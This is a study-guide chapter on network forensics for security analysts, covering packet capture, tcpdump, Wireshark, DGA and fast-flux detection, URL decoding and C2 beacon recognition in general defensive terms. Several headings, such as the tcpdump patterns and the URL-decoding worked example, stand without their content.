Chapter 6
Network Forensics

Network traffic must be captured and decoded before it can be analyzed. This requires a pipeline: a mechanism to copy frames off the wire, and a tool to record and inspect them. Network-related IOCs can be gathered from packet captures, traffic flow data, logs, and alerts.

SPAN / mirror ports

A Switched Port Analyzer (SPAN) port — also called a mirror port — is a switch or router configuration that copies all ingress and/or egress traffic from one or more ports to a designated monitoring port. Everything entering or leaving the monitored port is duplicated to the SPAN port, where a capture tool can record it without disrupting the live traffic flow.

Network TAPs

A network TAP (Test Access Point) is a hardware device inserted inline in a network cable segment. It passively copies traffic off the wire to a monitoring port. Both passive (no power required, copies via optical splitting) and active versions exist. TAPs are more reliable than SPAN ports for high-volume capture because they cannot be oversubscribed by the switch.

Packet sniffers

A packet sniffer is any hardware or software tool that records data from frames as they pass over the network, using a SPAN port or TAP as its input source. When software-based, it places the network interface card into promiscuous mode — accepting all frames on the segment, not just those addressed to itself.

Sniffer placement strategy

tcpdump is a command-line packet analyzer available on Linux and macOS (installed by default). It places the NIC into promiscuous mode, captures frames, and can display them to screen or save them to a PCAP file for later analysis. It requires administrative/root privileges to run.

Common tcpdump patterns

Filtering: collection-time vs. post-collection

The -x flag (hex + ASCII display) is especially useful when traffic is unencrypted — protocols like FTP, HTTP, and Telnet send credentials and content in plain text, making the payload directly readable in the packet output.

Wireshark is a free, open-source GUI-based packet analyzer. It reads PCAP files (captured by tcpdump or directly via its own capture engine) and decodes every frame into its individual OSI layer components. Each packet can be fully dissected to reveal MAC addresses, IP addresses, transport protocol, and application-layer content.

What Wireshark reveals at each OSI layer

The "Follow TCP Stream" function

Right-clicking any packet in Wireshark and selecting "Follow TCP Stream" reconstructs the complete bidirectional conversation between client and server — all packets belonging to that session stitched back together in chronological order. Client traffic appears in one color, server responses in another. For unencrypted protocols this reveals the full session content, including plaintext credentials and commands. This is the primary tool for understanding what happened during a captured session.

Capturing every byte on a busy enterprise network generates enormous amounts of data — gigabytes per day on even a modest home network. Two complementary approaches manage this storage problem differently.

Flow analysis tools

Many intrusions rely on C2 servers to download additional tools and exfiltrate data. A core analyst task is therefore monitoring traffic for external host access requests — analyzing the IP addresses and DNS resolutions that emerge. Reputation-based threat feeds (Ch. 3) are almost entirely IP and DNS based.

Known-bad IP and URL block lists

Historically, malware contained a static IP or DNS name hardcoded into its code. Defenders would identify it, add it to a block list, and the malware would stop working — until the attacker registered a new domain, at which point the cycle repeated. This whack-a-mole approach to IP block lists drove attackers to develop a more sophisticated evasion method.

Domain Generation Algorithms (DGA)

A Domain Generation Algorithm is a method used by malware to evade block lists by dynamically generating domain names for C2 communication rather than using a static address. Both the malware and the C2 server use the same algorithm and seed value, so they independently arrive at the same list of domain names — without that list ever being hardcoded.

Detecting a DGA / fast flux network

A fast flux network is the broader evasion architecture — the C2 infrastructure that continuously changes IP addresses in DNS records using DGA. Two strong detection signals exist:

A major portion of a cybersecurity analyst's work involves examining URLs in proxy logs to determine what websites were visited and what data was transmitted. URLs can encode both actions and data — and that encoding can be weaponized to smuggle malicious payloads past naive filters.

URL analysis is the process of determining whether a link is already flagged on a reputation list, and if not, identifying what malicious script or activity might be embedded within it — without executing that code in a live environment.

HTTP request methods

Data submitted via URL is separated from the resource path by a question mark (?), with individual parameters formatted as name=value pairs delimited by ampersands (&). A hash (#) indicates a fragment anchor processed client-side only — but it can be misused to inject JavaScript.

HTTP response codes

Percent encoding (URL encoding)

Percent encoding allows unsafe or reserved characters to be transmitted within a URL by representing them as %XX where XX is the two-digit hexadecimal ASCII value. This is legitimate — but it is also a primary obfuscation technique used by attackers to hide malicious payloads from signature-based filters.

Common percent-encoding values to know

Decoding a malicious URL — worked example

Packet analysis during a live incident combines process monitoring with network capture to correlate what a process is doing with where it is sending traffic. The goal is to develop concrete IOCs — specific IP addresses, ports, and DNS names — that can be blocked at the firewall and used to identify other infected hosts.

The analysis workflow

Beacon pattern recognition

Malware C2 communication is often periodic — the implant "beacons" back to the C2 server at regular intervals (e.g., every 60 seconds or every 3 minutes) to check for commands. This regularity is itself a detection signal: legitimate application traffic is rarely this precisely timed. When you observe callouts to the same external IP at suspiciously regular intervals, especially to multiple sequential IPs (the malware rotating through DGA-generated addresses), you are likely observing an active C2 beacon.